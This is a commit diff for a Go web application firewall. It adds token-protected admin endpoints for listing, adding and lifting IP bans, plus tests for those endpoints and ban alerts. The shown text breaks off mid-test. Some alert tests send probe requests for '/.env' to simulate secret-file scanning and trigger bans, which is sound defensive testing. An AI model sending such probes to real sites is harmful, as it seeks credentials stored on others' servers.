Rename internal/proxy to internal/servewaf (closes #173)

The package passes nothing on since the one-process mode went: it answers rproxy's questions, takes its reports and answers servewaf's own endpoints. It is now named after the command it serves, with `git mv`, and its constructor is `servewaf.New`. `SPEC.md` and the other documents follow. No change of behaviour.

Model: opus-5-5

internal/servewaf/admin.go

@@ -0,0 +1,306 @@
+package servewaf
+
+import (
+	"bytes"
+	"crypto/subtle"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"net/netip"
+	"strings"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/state"
+)
+
+// banBodyMaxBytes is the most of the body of a request to add a ban that
+// is read; its three fields need far less.
+const banBodyMaxBytes = 4 << 10
+
+// permanent is how the log line and the ban endpoint name a ban that
+// never ends.
+const permanent = "permanent"
+
+var (
+	errNotBanToAdd = errors.New(
+		"the body is not a JSON object of netblock, duration and reason")
+	errNotNetblock = errors.New(
+		"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
+	errMappedNetblock = errors.New(
+		"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
+	errZone        = errors.New("has a zone, which a netblock cannot have")
+	errNotDuration = errors.New(
+		"is not a duration above zero, such as 1h or 7d, or permanent")
+	errNotAddress = errors.New("is not an address, such as 203.0.113.9")
+)
+
+// answerHealth answers a request for the health endpoint.
+func (rq *request) answerHealth() {
+	rq.line.Action = requestlog.ActionAdmin
+	// Set here rather than left to Go's server, which would set it only
+	// after the log line has taken the response's headers.
+	rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8")
+	_, _ = io.WriteString(rq.out, "ok\n")
+}
+
+// answerAdmin answers a request for one of servewaf's own endpoints. Each
+// needs a token, sent as Authorization: Bearer <token>: the metrics
+// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without it is
+// refused with 401. An endpoint whose token is unset answers 404, as any other
+// path does.
+func (rq *request) answerAdmin() {
+	rq.line.Action = requestlog.ActionAdmin
+
+	token, answer := rq.endpoint()
+
+	switch {
+	case token == "":
+		http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
+	case !hasToken(rq.in, token):
+		rq.out.Header().Set("WWW-Authenticate", "Bearer")
+		http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
+	default:
+		answer()
+	}
+}
+
+// endpoint returns the token the request's endpoint needs, and what
+// answers the request there; "" when there is no such endpoint.
+func (rq *request) endpoint() (string, func()) {
+	cfg := rq.h.config
+	method, path := rq.in.Method, rq.in.URL.Path
+
+	switch {
+	case method == http.MethodGet && path == MetricsPath:
+		return cfg.MetricsToken, func() { rq.h.metrics.ServeHTTP(rq.out, rq.in) }
+	case method == http.MethodGet && path == BansPath:
+		return cfg.AdminToken, rq.listBans
+	case method == http.MethodPost && path == BansPath:
+		return cfg.AdminToken, rq.addBan
+	case method == http.MethodDelete && strings.HasPrefix(path, BansPath+"/"):
+		return cfg.AdminToken, rq.liftBans
+	case method == http.MethodGet && strings.HasPrefix(path, ClientsPath):
+		return cfg.AdminToken, rq.showClient
+	default:
+		return "", nil
+	}
+}
+
+// hasToken reports whether r carries token, as Authorization: Bearer
+// <token>.
+func hasToken(r *http.Request, token string) bool {
+	scheme, sent, _ := strings.Cut(r.Header.Get("Authorization"), " ")
+
+	return strings.EqualFold(scheme, "Bearer") &&
+		subtle.ConstantTimeCompare([]byte(sent), []byte(token)) == 1
+}
+
+// listBans answers GET BansPath with every ban held.
+func (rq *request) listBans() {
+	rq.answerBans(rq.h.ledger.Snapshot())
+}
+
+// banToAdd is the body of POST BansPath.
+type banToAdd struct {
+	// Netblock is a netblock, or a client's address, which stands for the
+	// netblock a ban on that client covers.
+	Netblock string `json:"netblock"`
+	// Duration is how long the ban lasts, as a setting gives a duration,
+	// or permanent.
+	Duration string `json:"duration"`
+	Reason   string `json:"reason"`
+}
+
+// addBan answers POST BansPath: it bans the netblock the body names, as
+// an admin, from now for the duration the body gives, with its reason,
+// and answers with that ban.
+func (rq *request) addBan() {
+	toAdd, err := rq.readBanToAdd()
+
+	var (
+		netblock netip.Prefix
+		expires  time.Time
+		now      = rq.h.now()
+	)
+
+	if err == nil {
+		netblock, err = rq.h.banNetblock(toAdd.Netblock)
+	}
+
+	if err == nil {
+		expires, err = expiry(toAdd.Duration, now)
+	}
+
+	if err != nil {
+		http.Error(rq.out, err.Error(), http.StatusBadRequest)
+
+		return
+	}
+
+	ban := rq.h.ledger.BanForAdmin(netblock, now, expires, toAdd.Reason)
+	rq.answerBans([]bans.Ban{ban})
+}
+
+// readBanToAdd reads the body of POST BansPath: a JSON object with
+// nothing but whitespace after it, in at most banBodyMaxBytes.
+func (rq *request) readBanToAdd() (banToAdd, error) {
+	data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
+	rq.requestBytes = int64(len(data))
+
+	if err != nil {
+		return banToAdd{}, fmt.Errorf("%w: %w", errNotBanToAdd, err)
+	}
+
+	var toAdd banToAdd
+
+	decoder := json.NewDecoder(bytes.NewReader(data))
+	decoder.DisallowUnknownFields()
+
+	err = decoder.Decode(&toAdd)
+	if err != nil {
+		return banToAdd{}, fmt.Errorf("%w: %w", errNotBanToAdd, err)
+	}
+
+	// Token returns io.EOF only when nothing but whitespace is left.
+	_, err = decoder.Token()
+	if !errors.Is(err, io.EOF) {
+		return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
+	}
+
+	return toAdd, nil
+}
+
+// banNetblock reads value, a netblock such as 203.0.113.0/24, or a
+// client's address, which stands for the netblock a ban on that client
+// covers. An IPv4-mapped netblock, such as ::ffff:203.0.113.0/120, is
+// refused, since a client's address is looked up as IPv4 and a ban on it
+// would refuse nothing, and so is a value with a zone.
+func (h *handler) banNetblock(value string) (netip.Prefix, error) {
+	netblock, err := netip.ParsePrefix(value)
+	if err == nil {
+		if netblock.Addr().Is4In6() {
+			return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
+		}
+
+		return netblock, nil
+	}
+
+	// ParsePrefix refuses a zone, but ParseAddr reads the /48 of
+	// 2001:db8::1%x/48 as part of the zone.
+	addr, err := netip.ParseAddr(value)
+	if err != nil {
+		return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
+	}
+
+	if addr.Zone() != "" {
+		return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errZone)
+	}
+
+	return h.netblock(addr), nil
+}
+
+// expiry returns when a ban made at now for duration ends: duration
+// later, for a duration as a setting gives one, or zero for permanent.
+func expiry(duration string, now time.Time) (time.Time, error) {
+	if duration == permanent {
+		return time.Time{}, nil
+	}
+
+	length, err := config.ParseDurationNotOff(duration)
+	if err != nil {
+		return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
+	}
+
+	return now.Add(length), nil
+}
+
+// liftBans answers DELETE BansPath/<client>: it lifts every ban active on
+// a netblock the client's address is in, and answers with those bans, or
+// with 404 when none is active.
+func (rq *request) liftBans() {
+	client, err := pathAddress(rq.in.URL.Path, BansPath+"/")
+	if err != nil {
+		http.Error(rq.out, err.Error(), http.StatusBadRequest)
+
+		return
+	}
+
+	lifted := rq.h.ledger.Lift(client, rq.h.now())
+	if len(lifted) == 0 {
+		http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
+
+		return
+	}
+
+	rq.answerBans(lifted)
+}
+
+// clientAnswer is the answer to GET ClientsPath<ip>: the client the
+// address is, as clients.json holds it, or null when the table of
+// clients does not hold it, and the bans on each netblock the address is
+// in, as bans.json lists them.
+type clientAnswer struct {
+	Client *ratelimit.Client `json:"client"`
+	Bans   []state.BanEntry  `json:"bans"`
+}
+
+// showClient answers GET ClientsPath<ip> with what servewaf knows of the client:
+// its counters, its history, which holds its country as last looked up and its
+// offences, and its bans with their notes.
+func (rq *request) showClient() {
+	addr, err := pathAddress(rq.in.URL.Path, ClientsPath)
+	if err != nil {
+		http.Error(rq.out, err.Error(), http.StatusBadRequest)
+
+		return
+	}
+
+	answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
+
+	client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
+	if seen {
+		answer.Client = &client
+	}
+
+	rq.answerJSON(answer)
+}
+
+// pathAddress reads the client's address that follows prefix in path.
+func pathAddress(path, prefix string) (netip.Addr, error) {
+	value := strings.TrimPrefix(path, prefix)
+
+	addr, err := netip.ParseAddr(value)
+	if err != nil {
+		return netip.Addr{}, fmt.Errorf("%q %w", value, errNotAddress)
+	}
+
+	return addr.Unmap(), nil
+}
+
+// answerBans answers with held under bans, as bans.json lists them.
+func (rq *request) answerBans(held []bans.Ban) {
+	rq.answerJSON(struct {
+		Bans []state.BanEntry `json:"bans"`
+	}{state.BanEntries(held)})
+}
+
+// answerJSON answers with value as indented JSON.
+func (rq *request) answerJSON(value any) {
+	body, err := json.MarshalIndent(value, "", "    ")
+	if err != nil {
+		rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
+		http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
+			http.StatusInternalServerError)
+
+		return
+	}
+
+	rq.out.Header().Set("Content-Type", "application/json")
+	_, _ = rq.out.Write(append(body, '\n'))
+}

internal/servewaf/admin_test.go

@@ -0,0 +1,417 @@
+package servewaf_test
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+	"sneak.berlin/go/smallwebwaf/internal/state"
+)
+
+const (
+	adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
+	// adminSecret is the SWWAF_ADMIN_TOKEN the tests set, and adminBearer
+	// how a request carries it.
+	adminSecret = "fedcba9876543210fedcba9876543210"
+	adminBearer = "Bearer " + adminSecret
+	// banOtherClient is the body of a request to ban otherClient for an
+	// hour.
+	banOtherClient = `{"netblock": "` + otherClient + `", "duration": "1h", ` +
+		`"reason": "probes for logins"}`
+)
+
+func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
+	t.Parallel()
+
+	// The metrics token is set, and opens none of them.
+	s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
+	server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
+		bans.Notes{})
+	before := server.Ledger.Snapshot()
+
+	// An empty token does not match the unset one either.
+	for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
+		for _, e := range adminEndpoints() {
+			s.adminRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
+		}
+	}
+
+	if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
+		t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
+	}
+}
+
+func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		adminToken:   adminSecret,
+		metricsToken: token,
+	})
+
+	// Listing the bans, banning otherClient, lifting that ban, and asking
+	// about otherClient, in that order. Without the admin token, with the
+	// metrics token, or with one that differs, each is refused, and
+	// changes nothing; with the admin token, it is answered.
+	for _, e := range adminEndpoints() {
+		before := server.Ledger.Snapshot()
+
+		for _, authorization := range []string{
+			"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
+		} {
+			got := s.adminRequest(authorization, e.method, e.path, e.body,
+				http.StatusUnauthorized)
+			if got.header.Get("WWW-Authenticate") != "Bearer" {
+				t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
+					e.method, e.path, authorization)
+			}
+		}
+
+		if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
+			t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
+				e.method, e.path, after, before)
+		}
+
+		got := s.admin(e.method, e.path, e.body, http.StatusOK)
+		if got.header.Get("Content-Type") != "application/json" {
+			t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
+		}
+	}
+
+	// Any other request under /_smallwebwaf/ is not found.
+	for _, e := range []adminEndpoint{
+		{http.MethodPut, servewaf.BansPath, banOtherClient},
+		{http.MethodDelete, servewaf.BansPath, ""},
+		{http.MethodGet, servewaf.BansPath + "/" + otherClient, ""},
+		{http.MethodPost, servewaf.ClientsPath + otherClient, ""},
+		{http.MethodGet, strings.TrimSuffix(servewaf.ClientsPath, "/"), ""},
+	} {
+		s.admin(e.method, e.path, e.body, http.StatusNotFound)
+	}
+}
+
+func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startWithClock(t, "", map[string]string{
+		adminToken:       adminSecret,
+		banScopeV4Prefix: "24",
+	})
+
+	// A ban on otherClient bans the /24 a ban on that client covers, so it
+	// refuses client too, for an hour.
+	start := clk.Now()
+	expires := start.Add(time.Hour)
+	want := state.BanEntry{
+		Netblock: netip.MustParsePrefix("203.0.113.0/24"),
+		Start:    start,
+		Expires:  &expires,
+		Cause:    bans.CauseAdmin,
+		Reason:   "probes for logins",
+	}
+
+	wantBans(t, s.admin(http.MethodPost, servewaf.BansPath, banOtherClient, http.StatusOK),
+		want)
+
+	line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+	if line.BanExpires != requestlog.FormatTime(expires) {
+		t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
+	}
+
+	// Its notes count the request it refused.
+	want.Notes.Requests, want.Notes.Refused = 1, 1
+
+	wantBans(t, s.admin(http.MethodGet, servewaf.BansPath, "", http.StatusOK), want)
+
+	// Ten minutes on, lifting the bans on client lifts that one, which is
+	// kept, marked lifted.
+	clk.advance(10 * time.Minute)
+
+	lifted := clk.Now()
+	want.Lifted = &lifted
+
+	wantBans(t, s.admin(http.MethodDelete, servewaf.BansPath+"/"+client, "",
+		http.StatusOK), want)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	wantBans(t, s.admin(http.MethodGet, servewaf.BansPath, "", http.StatusOK), want)
+
+	// No ban on it is active any more.
+	s.admin(http.MethodDelete, servewaf.BansPath+"/"+client, "", http.StatusNotFound)
+}
+
+func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startWithClock(t, "", map[string]string{
+		adminToken:       adminSecret,
+		banScopeV4Prefix: "24",
+	})
+	start := clk.Now()
+
+	for _, tc := range []struct {
+		netblock, duration string
+		want               string
+		length             time.Duration // 0 for a permanent ban
+	}{
+		// An address stands for the netblock a ban on that client covers.
+		{client, "7d", "203.0.113.0/24", 7 * 24 * time.Hour},
+		{"::ffff:198.51.100.7", "90m", "198.51.100.0/24", 90 * time.Minute},
+		{"2001:db8:5::1", "permanent", "2001:db8:5::/64", 0},
+		// A netblock stands for itself, its bits past its length cleared.
+		{"198.51.100.7/16", "1h", "198.51.0.0/16", time.Hour},
+		{"2001:db8:6::/48", "1h", "2001:db8:6::/48", time.Hour},
+	} {
+		// Whitespace may follow the object.
+		body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
+			"\r\n"
+		want := state.BanEntry{
+			Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
+		}
+
+		if tc.length != 0 {
+			expires := start.Add(tc.length)
+			want.Expires = &expires
+		}
+
+		wantBans(t, s.admin(http.MethodPost, servewaf.BansPath, body, http.StatusOK), want)
+	}
+}
+
+func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
+
+	for _, tc := range []struct{ body, want string }{
+		{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
+		{"netblock=203.0.113.9", "the body is not a JSON object"},
+		{
+			`{"netblock": "203.0.113.9", "duration": "1h", "until": "2027"}`,
+			`unknown field "until"`,
+		},
+		{
+			`{"netblock": "203.0.113", "duration": "1h"}`,
+			`netblock "203.0.113" is not an address or a netblock`,
+		},
+		// A client's address is looked up as IPv4, so a ban on an
+		// IPv4-mapped netblock would refuse nothing.
+		{
+			`{"netblock": "::ffff:203.0.113.0/120", "duration": "1h"}`,
+			`netblock "::ffff:203.0.113.0/120" is IPv4-mapped`,
+		},
+		// Read as an address, its zone would be "x/48", and its ban on the
+		// /64 around it.
+		{
+			`{"netblock": "2001:db8::1%x/48", "duration": "1h"}`,
+			`netblock "2001:db8::1%x/48" has a zone`,
+		},
+		{
+			`{"netblock": "fe80::1%eth0", "duration": "1h"}`,
+			`netblock "fe80::1%eth0" has a zone`,
+		},
+		// Anything but whitespace after the object.
+		{
+			`{"netblock": "203.0.113.9", "duration": "1h"}` +
+				`{"netblock": "198.51.100.0/24", "duration": "1h"}`,
+			"more follows the object",
+		},
+		{`{"netblock": "203.0.113.9", "duration": "1h"} x`, "more follows the object"},
+		{`{"duration": "1h"}`, `netblock "" is not an address or a netblock`},
+		{`{"netblock": "203.0.113.9"}`, `duration "" is not a duration above zero`},
+		{
+			`{"netblock": "203.0.113.9", "duration": "off"}`,
+			`duration "off" is not a duration above zero`,
+		},
+		{
+			`{"netblock": "203.0.113.9", "duration": "0s"}`,
+			`duration "0s" is not a duration above zero`,
+		},
+		{
+			`{"netblock": "203.0.113.9", "duration": "forever"}`,
+			`duration "forever" is not a duration above zero, such as 1h or 7d, ` +
+				`or permanent`,
+		},
+		// Over the 4 KiB read of a body, even when the object comes first.
+		{
+			`{"netblock": "203.0.113.9", "duration": "1h", "reason": "` +
+				strings.Repeat("x", 4<<10) + `"}`,
+			"request body too large",
+		},
+		{
+			`{"netblock": "203.0.113.9", "duration": "1h"}` + strings.Repeat(" ", 4<<10),
+			"request body too large",
+		},
+	} {
+		got := s.admin(http.MethodPost, servewaf.BansPath, tc.body, http.StatusBadRequest)
+		if !strings.Contains(string(got.body), tc.want) {
+			t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
+		}
+	}
+
+	if held := server.Ledger.Snapshot(); len(held) != 0 {
+		t.Errorf("the ledger holds %+v, want no ban", held)
+	}
+}
+
+func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startWithClock(t, "", map[string]string{
+		adminToken:         adminSecret,
+		rateLimitPerMinute: "2",
+	})
+	start := clk.Now()
+
+	// Two of otherClient's requests are let through; the third breaks the
+	// limit of two a minute, and bans it.
+	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
+	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
+	s.get(otherClient, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	// Asked about by its address in IPv6 form too.
+	for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
+		var got struct {
+			Client *ratelimit.Client `json:"client"`
+			Bans   []state.BanEntry  `json:"bans"`
+		}
+
+		decode(t, s.admin(http.MethodGet, servewaf.ClientsPath+addr, "", http.StatusOK), &got)
+
+		if got.Client == nil {
+			t.Fatalf("%s: no client", addr)
+		}
+
+		history := got.Client.History
+		if got.Client.Client != netip.MustParsePrefix(otherClient+"/32") ||
+			history.Requests != 3 || history.Forwarded != 2 || history.Refused != 1 ||
+			history.Offences.Limit != 1 || !history.FirstSeen.Equal(start) {
+			t.Errorf("%s: client %+v", addr, got.Client)
+		}
+
+		if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
+			got.Bans[0].Reason != "requests per minute over the limit of 2" ||
+			got.Bans[0].Notes.Count != 3 {
+			t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
+		}
+	}
+
+	// Of an address no request came from and no ban covers, nothing is
+	// known.
+	got := s.admin(http.MethodGet, servewaf.ClientsPath+"198.51.100.99", "", http.StatusOK)
+	if string(got.body) != "{\n    \"client\": null,\n    \"bans\": []\n}\n" {
+		t.Errorf("an unknown client is answered\n%s", got.body)
+	}
+
+	s.admin(http.MethodGet, servewaf.ClientsPath+"203.0.113", "", http.StatusBadRequest)
+	s.admin(http.MethodDelete, servewaf.BansPath+"/203.0.113.0/24", "",
+		http.StatusBadRequest)
+}
+
+func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		adminToken: adminSecret,
+		mode:       observe,
+	})
+
+	for _, e := range adminEndpoints() {
+		s.adminRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
+	}
+
+	if held := server.Ledger.Snapshot(); len(held) != 0 {
+		t.Errorf("the ledger holds %+v, want no ban", held)
+	}
+}
+
+// adminEndpoint is a request to an endpoint SWWAF_ADMIN_TOKEN opens.
+type adminEndpoint struct {
+	method, path, body string
+}
+
+// adminEndpoints returns a request to each endpoint SWWAF_ADMIN_TOKEN
+// opens: listing the bans, banning otherClient for an hour, lifting the
+// bans on otherClient, and asking about otherClient.
+func adminEndpoints() []adminEndpoint {
+	return []adminEndpoint{
+		{http.MethodGet, servewaf.BansPath, ""},
+		{http.MethodPost, servewaf.BansPath, banOtherClient},
+		{http.MethodDelete, servewaf.BansPath + "/" + otherClient, ""},
+		{http.MethodGet, servewaf.ClientsPath + otherClient, ""},
+	}
+}
+
+// admin sends a request with method for path, with body, to servewaf's own
+// address, with the admin token, and checks that it is answered with status, its
+// log line's action admin. It returns the answer.
+func (s *sender) admin(method, path, body string, status int) answer {
+	s.t.Helper()
+
+	return s.adminRequest(adminBearer, method, path, body, status)
+}
+
+// adminRequest is admin with authorization as the request's Authorization header
+// unless it is "".
+func (s *sender) adminRequest(
+	authorization, method, path, body string, status int,
+) answer {
+	s.t.Helper()
+
+	req := newRequest(s.t, method, s.serveWAFAddr, path, strings.NewReader(body))
+	if authorization != "" {
+		req.Header.Set("Authorization", authorization)
+	}
+
+	got := do(s.t, req)
+	wantStatus(s.t, got, status)
+
+	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
+	s.sent++
+	wantLine(s.t, line, status, requestlog.ActionAdmin)
+
+	return got
+}
+
+// wantBans checks that a ban endpoint answered with want, and no other
+// ban.
+func wantBans(t *testing.T, got answer, want ...state.BanEntry) {
+	t.Helper()
+
+	var decoded struct {
+		Bans []state.BanEntry `json:"bans"`
+	}
+
+	decode(t, got, &decoded)
+
+	gotJSON, err := json.Marshal(decoded.Bans)
+	if err != nil {
+		t.Fatalf("encode %+v: %v", decoded.Bans, err)
+	}
+
+	wantJSON, err := json.Marshal(want)
+	if err != nil {
+		t.Fatalf("encode %+v: %v", want, err)
+	}
+
+	if string(gotJSON) != string(wantJSON) {
+		t.Errorf("bans\n%s\nwant\n%s", gotJSON, wantJSON)
+	}
+}
+
+// decode reads the JSON answer of an endpoint into value.
+func decode(t *testing.T, got answer, value any) {
+	t.Helper()
+
+	err := json.Unmarshal(got.body, value)
+	if err != nil {
+		t.Fatalf("decode %s: %v", got.body, err)
+	}
+}

internal/servewaf/alerts_test.go

@@ -0,0 +1,277 @@
+package servewaf_test
+
+import (
+	"maps"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+const (
+	alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL"
+	alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR"
+	// alertInstance is the instance every alert of these tests gives.
+	alertInstance = "fsn1app1/gitea"
+)
+
+func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		rateLimitPerMinute: "1",
+		banScopeV4Prefix:   "24",
+	})
+	start := clk.Now()
+
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	netblock := netip.MustParsePrefix("203.0.113.0/24")
+	ban := server.Ledger.Bans(netblock)[0]
+
+	// A request refused under the ban raises no other alert.
+	clk.advance(time.Minute)
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, bans.Ban{
+		Netblock: netblock, Cause: bans.CauseLimit,
+		Reason: "requests per minute over the limit of 1", Notes: ban.Notes,
+	}, requestlog.FormatTime(start.Add(time.Hour))))
+
+	if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
+		t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
+	}
+}
+
+func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		rulesDir: writeRules(t, testRules),
+	})
+	start := clk.Now()
+	netblock := netip.MustParsePrefix(client + "/32")
+	other := netip.MustParsePrefix(otherClient + "/32")
+
+	// The probe bans the client for seven days, and its next request makes
+	// the ban permanent. The request after that changes nothing.
+	s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+
+	attackBan := server.Ledger.Bans(netblock)[0]
+
+	clk.advance(time.Minute)
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	permanentBan := server.Ledger.Bans(netblock)[0]
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	// Another client's probe after its first ban has run out without a
+	// request makes a permanent ban at once.
+	s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+	clk.advance(7 * 24 * time.Hour)
+	s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+
+	otherBans := server.Ledger.Bans(other)
+
+	wantAlerts(t, queue,
+		attackAlert(alerts.EventBan, start, client, attackBan,
+			requestlog.FormatTime(start.Add(7*24*time.Hour))),
+		attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
+			permanentBan, "permanent"),
+		attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
+			requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
+		attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
+			otherClient, otherBans[1], "permanent"),
+	)
+}
+
+func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		mode:               observe,
+		rateLimitPerMinute: "2",
+		rulesDir:           writeRules(t, testRules),
+	})
+	start := clk.Now()
+
+	// A ban for a clear sign of attack, which a request under it would make
+	// permanent.
+	group := netip.MustParsePrefix(ipv6Group)
+	attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
+
+	// The third request breaks the limit, and so does the fourth, within the
+	// cooldown, which raises nothing. The probe is a clear sign of attack.
+	for range 4 {
+		s.get(client, http.StatusOK, requestlog.ActionForward)
+	}
+
+	s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
+	line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
+
+	// No ban is made, and none made permanent.
+	held := server.Ledger.Snapshot()
+	if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
+		line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
+		t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
+			"for the attack alone, as it was", held, line.BanExpires)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 3 || queue.Suppressed() != 0 {
+		t.Fatalf("%d alerts wait and %d are held back, want 3 and 0: %+v",
+			len(waiting), queue.Suppressed(), waiting)
+	}
+
+	limitNotes, _ := waiting[0].Detail["notes"].(bans.Notes)
+	attackNotes, _ := waiting[1].Detail["notes"].(bans.Notes)
+
+	if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
+		attackNotes.Request.Path != "/.env" {
+		t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
+			"of the probe", limitNotes, attackNotes)
+	}
+
+	// Each alert is the one enforce mode would have raised, with mode
+	// observe in its detail.
+	want := []alerts.Alert{
+		banAlert(alerts.EventBan, start, client, bans.Ban{
+			Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
+			Reason: "requests per minute over the limit of 2", Notes: limitNotes,
+		}, requestlog.FormatTime(start.Add(time.Hour))),
+		attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
+			Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
+		}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
+		attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
+	}
+	for _, alert := range want {
+		alert.Detail["mode"] = observe
+	}
+
+	wantAlerts(t, queue, want...)
+}
+
+func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
+	t.Parallel()
+
+	s, _, _, queue := startWithAlerts(t, map[string]string{
+		mode:               observe,
+		rateLimitPerMinute: "2",
+		rulesDir:           writeRules(t, testRules),
+		alertMaxPerHour:    "2",
+	})
+
+	// The client's third request breaks the limit, and raises the first
+	// alert of the hour. Its fourth is within the cooldown.
+	for range 4 {
+		s.get(client, http.StatusOK, requestlog.ActionForward)
+	}
+
+	// The other client's first probe raises the second. Its second probe is
+	// within the cooldown.
+	for range 2 {
